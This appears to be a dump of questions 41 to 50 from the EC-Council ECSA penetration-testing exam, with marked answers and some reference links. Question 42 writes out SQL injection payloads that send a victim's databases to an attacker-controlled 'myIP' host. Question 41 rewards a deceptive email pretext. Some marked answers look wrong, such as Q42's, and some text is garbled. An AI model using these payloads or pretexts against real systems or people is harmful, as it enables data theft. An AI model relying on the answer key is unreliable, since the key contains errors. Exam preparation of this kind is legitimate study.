EC-COUNCIL ECSA ECSAv8 Questions & Answers

• Question 41:

  You are conducting a penetration test against a company and you would like to know a personal email address of John, a crucial employee. What is the fastest, cheapest way to find out John's email address.

  

  A. Call his wife and ask for his personal email account

  B. Call a receptionist and ask for John Stevens' personal email account

  C. Search in Google for his personal email ID

  D. Send an email to John stating that you cannot send him an important spreadsheet attachment file to his business email account and ask him if he has any other email accounts

  Correct Answer: D

• Question 42:

  A penetration tester tries to transfer the database from the target machine to a different machine. For this, he uses OPENROWSET to link the target database to his own database, replicates the database structure, and transfers the data to his machine by via a connection to the remote machine on port 80.

  The query he used to transfer databases was:

  '; insert into OPENROWSET ('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from master.dbo.sysdatabases ?

  The query he used to transfer table 1 was:

  '; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..table1') select * from database..table1 ?

  What query does he need in order to transfer the column?

  A. '; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8 0;','select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.systables ?

  B. '; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8 0;','select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.sysrows ?

  C. '; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8 0;','select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.syscolumns ?

  D. '; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8 0;','select * from mydatabase..hacked_syscolumns') select * from user_tables.dbo.syscolumns ?

  Correct Answer: A

• Question 43:

  In the TCP/IP model, the transport layer is responsible for reliability and flow control from source to the destination. TCP provides the mechanism for flow control by allowing the sending and receiving hosts to communicate. A flow control mechanism avoids the problem with a transmitting host overflowing the buffers in the receiving host.

  

  Which of the following flow control mechanism guarantees reliable delivery of data?

  A. Sliding Windows

  B. Windowing

  C. Positive Acknowledgment with Retransmission (PAR)

  D. Synchronization

  Correct Answer: C

  Reference: http://condor.depaul.edu/jkristof/technotes/tcp.html (1.1.3 Reliability)

• Question 44:

  Which of the following external pen testing tests reveals information on price, usernames and passwords, sessions, URL characters, special instructors, encryption used, and web page behaviors?

  

  A. Check for Directory Consistency and Page Naming Syntax of the Web Pages

  B. Examine Server Side Includes (SSI)

  C. Examine Hidden Fields

  D. Examine E-commerce and Payment Gateways Handled by the Web Server

  Correct Answer: C

  Reference: http://www.scribd.com/doc/133636402/LPTv4-Module-18-External-Penetration- Testing-NoRestriction (page 71)

• Question 45:

  Which of the following methods is used to perform server discovery?

  A. Banner Grabbing

  B. Whois Lookup

  C. SQL Injection

  D. Session Hijacking

  Correct Answer: B

  Reference: http://luizfirmino.blogspot.com/2011/09/server-discovery.html

• Question 46:

  In the example of a /etc/passwd file below, what does the bold letter string indicate?

  nomad:HrLNrZ3VS3TF2:501:100: Simple Nomad:/home/nomad:/bin/bash

  A. Maximum number of days the password is valid

  B. Group number

  C. GECOS information

  D. User number

  Correct Answer: D

• Question 47:

  Which of the following policy forbids everything with strict restrictions on all usage of the company systems and network?

  A. Information-Protection Policy

  B. Paranoid Policy

  C. Promiscuous Policy

  D. Prudent Policy

  Correct Answer: B

• Question 48:

  By default, the TFTP server listens on UDP port 69. Which of the following utility reports the port status of target TCP and UDP ports on a local or a remote computer and is used to troubleshoot TCP/IP connectivity issues?

  A. PortQry

  B. Netstat

  C. Telnet

  D. Tracert

  Correct Answer: A

  Reference: http://support.microsoft.com/kb/832919

• Question 49:

  Vulnerability assessment is an examination of the ability of a system or application, including current security procedures and controls, to withstand assault. It recognizes, measures, and classifies security vulnerabilities in a computer system, network, and communication channels.

  A vulnerability assessment is used to identify weaknesses that could be exploited and predict the effectiveness of additional security measures in protecting information resources from attack.

  

  Which of the following vulnerability assessment technique is used to test the web server infrastructure for any misconfiguration and outdated content?

  A. Passive Assessment

  B. Host-based Assessment

  C. External Assessment

  D. Application Assessment

  Correct Answer: B

• Question 50:

  Packet filtering firewalls are usually a part of a router. In a packet filtering firewall, each packet is compared to a set of criteria before it is forwarded.

  Depending on the packet and the criteria, the firewall can: i)Drop the packet ii)Forward it or send a message to the originator

  

  At which level of the OSI model do the packet filtering firewalls work?

  A. Application layer

  B. Physical layer

  C. Transport layer

  D. Network layer

  Correct Answer: D

  Reference:

  http://books.google.com.pk/books?id=KPjLAyA7HgoCandpg=PA208andlpg=PA208anddq=At+whi ch+level+of

  +the+OSI+model+do+the+packet+filtering+firewalls+workandsource=blandots=zRrb cmY3pjandsig=I3vuS3VA7r3VF8lC6xq_c_r31Mandhl=enandsa=Xandei=wMcfVMetI8HPaNSRgPgDandved=0CC8Q6AEwAg#v

  =onepageandq=At%20which%20level%20of%20the%20OSI%20model%20do%20the%20pa cket%

  20filtering%20firewalls%20workandf=false (packet filters)